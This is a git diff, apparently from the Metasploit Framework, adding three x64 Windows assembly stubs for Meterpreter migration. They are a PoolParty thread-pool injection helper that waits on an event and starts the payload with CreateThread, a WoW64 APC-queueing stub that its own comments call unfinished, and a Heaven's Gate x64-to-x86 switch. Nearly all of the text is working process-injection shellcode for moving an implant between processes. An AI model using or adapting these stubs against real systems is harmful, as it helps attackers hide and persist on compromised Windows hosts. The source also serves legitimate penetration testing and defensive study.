diff --git a/external/source/shellcode/windows/x64/src/migrate/createwow64.asm b/external/source/shellcode/windows/x64/src/migrate/createwow64.asm new file mode 100644 index 0000000000..e3632c85d7 --- /dev/null +++ b/external/source/shellcode/windows/x64/src/migrate/createwow64.asm @@ -0,0 +1,60 @@ +;-----------------------------------------------------------------------------; +; Author: Diego Ledda (diego_ledda[at]rapid7[dot]com) +; Compatible: Windows 11, 10 +; Architecture: x64 +; Version: 0.1 (August 2024) +;-----------------------------------------------------------------------------; +; This is a simple helper function that should be put on the top of a x86 shellcode we want to execute in WoW64 context +; The following stub is executed in a x64 context of a WoW64 process. So far this stub is not working because we need first +; to setup a 32-bit context properly. + +[BITS 64] +[ORG 0] +createwow64: + cld ; Clear the direction flag. + jmp _parameters ; Get the end of the shellcode +_cb_parameters: + pop rsi + sub rsp, 0x78 ; Alloc some space on stack + call start ; Call start, this pushes the address of 'api_call' onto the stack. +delta: +%include "./src/block/block_api.asm" ; +start: + pop rbp + + mov r10d, 0x32473F75 + call rbp + + mov rax, -2 ; We don't have kernel32.dll, loading it with LdrLoadDll will result in some errors + ; This is a quick and dirty way to get the GetCurrentThread() by reversing kernel32.dll + + ; ntdll.dll!RtlQueueApcWow64Thread(hCurrentThread, szWoW64Shellcode, NULL, NULL, NULL) + ; This is an alias for QueueApcThread with the automatic encoding of szWoW64Shellcode address to execute it in 32 bit. + ; However this will fail in the current 64bit context because we don't have the CPU setted up to perform 32-bit process + ; operations, for example is missing the initialization of the fs segment. + + mov rcx, rax + mov rdx, rsi + xor r8, r8 + xor r9, r9 + push r9 + mov r10d, 0xB9B3BF13 + call rbp + + ; ntdll!NtTestAlert() This triggers the APC schedule. + xor rcx, rcx + xor rdx, rdx + xor r8, r8 + xor r9, r9 + mov r10d, 0xF3AFA26D + call rbp + + ; Infinite loop, not sure if this is needed, in the poolparty_x64.asm seems needed to avoid the stub crashing. +_loop: + xor rax,rax + test rax,rax + jz _loop + +_parameters: + call _cb_parameters + ret \ No newline at end of file diff --git a/external/source/shellcode/windows/x64/src/migrate/poolparty.asm b/external/source/shellcode/windows/x64/src/migrate/poolparty.asm new file mode 100644 index 0000000000..1101f30a55 --- /dev/null +++ b/external/source/shellcode/windows/x64/src/migrate/poolparty.asm @@ -0,0 +1,77 @@ +;-----------------------------------------------------------------------------; +; Author: Diego Ledda (diego_ledda[at]rapid7[dot]com) +; Compatible: Windows 11, 10, 7, Vista +; Architecture: x64 +; Version: 0.4 (July 2024) +; Size: 276 bytes +; Build: >build.py poolparty +;-----------------------------------------------------------------------------; + +; Stub helper for pool-party injection. + +;typedef struct _POOLPARTYCTX +;{ +; union +; { +; LPVOID lpStartAddress; +; BYTE bPadding1[8]; +; } s; +; union +; { +; LPVOID lpParameter; +; BYTE bPadding2[8]; +; } p; +; union +; { +; LPVOID hEventTrigger; +; BYTE bPadding2[8]; +; } e; +; +;} POOLPARTYCTX, * LPPOOLPARTYCTX; +; Description: +; This stub is executed during the Meterpreter migration. The POOLPARTYCTX must be allocated ALWAYS at the end of the shellcode, +; this is mandatory as some pool-party variants doesn't support arguments passing. Also an hEventTrigger is mandatory because +; we need to wait the ok from the previous Meterpreter to continue the execution. with other techniques (RemoteThread and APC) +; We are starting the process in SUSPENDED mode and then Resuming it, here we need to wait for an event. +; This shellcode is done to work with multiple PoolParty variants. +; Supported Variants: +; - TP Wait Insertion +; - TP Direct Insertion + +[BITS 64] +[ORG 0] + cld ; Clear the direction flag. + + jmp _parameters ; Get the POOLPARTYCTX after the shellcode, +_cb_parameters: ; Unluckly in some PoolParty variants we cannot receive parameters. + pop rsi + + sub rsp, 0x78 ; Alloc some space on stack + call start ; Call start, this pushes the address of 'api_call' onto the stack. +delta: ; +%include "./src/block/block_api.asm" ; +start: ; + pop rbp ; Pop off the address of 'api_call' for calling later. + mov ecx, [rsi+16] ; Get hEventTrigger + xor rdx, rdx + dec edx ; Decrement rdx down to -1 (INFINITE) + mov r10d, 0x601D8708 ; hash( "kernel32.dll", "WaitForSingleObject" ) + call rbp ; WaitForSingleObject(hEventTrigger, INFINITE); + mov rcx, rsi ; TODO: We can probably just use RSI here. + xor rdx, rdx ; zero RDX + mov r8, [rcx] ; r8 = ctx->lpStartAddress + mov r9, [rcx+8] ; r9 = ctx->lpParameter + xor rcx, rcx ; Clear ECX, lpThreadAttributes + mov edx, 0x100000 ; set dwStackSize to 1MB (probably this is not necessary anymore) + push rcx ; lpThreadId + push rcx ; dwCreationFlags + mov r10d, 0x160D6838 ; hash( "kernel32.dll", "CreateThread" ) + call rbp ; CreateThread( NULL, 0x100000, ctx->lpStartAddress, ctx->lpParameter, 0, NULL ); +loop: + xor eax,eax ; This infinite loop seems necessary to keep the process running. + cmp eax,eax ; Needs further investigation + je loop + nop + +_parameters: + call _cb_parameters ; Simple way to get the address of the POOLPARTYCTX using the return address \ No newline at end of file diff --git a/external/source/shellcode/windows/x64/src/migrate/x64tox86.asm b/external/source/shellcode/windows/x64/src/migrate/x64tox86.asm new file mode 100644 index 0000000000..a135b56d36 --- /dev/null +++ b/external/source/shellcode/windows/x64/src/migrate/x64tox86.asm @@ -0,0 +1,20 @@ +;-----------------------------------------------------------------------------; +; Author: Diego Ledda (diego_ledda[at]rapid7[dot]com) +; Compatible: Windows 11, 10, 7, Vista +; Architecture: x64 +; Version: 0.1 (August 2024) +;-----------------------------------------------------------------------------; +; Simple Heaven's Gate implementation that can be put on top of an x86 shellcode. +[BITS 64] +[ORG 0] +x64tox86: + cld ; + xor rcx,rcx + mov ecx, 02bh + mov ss, cx + call heavens_gate +heavens_gate: + mov dword [esp + 4], 023h + add dword [esp], 0fh + retf +; From here is executed in x86 bit \ No newline at end of file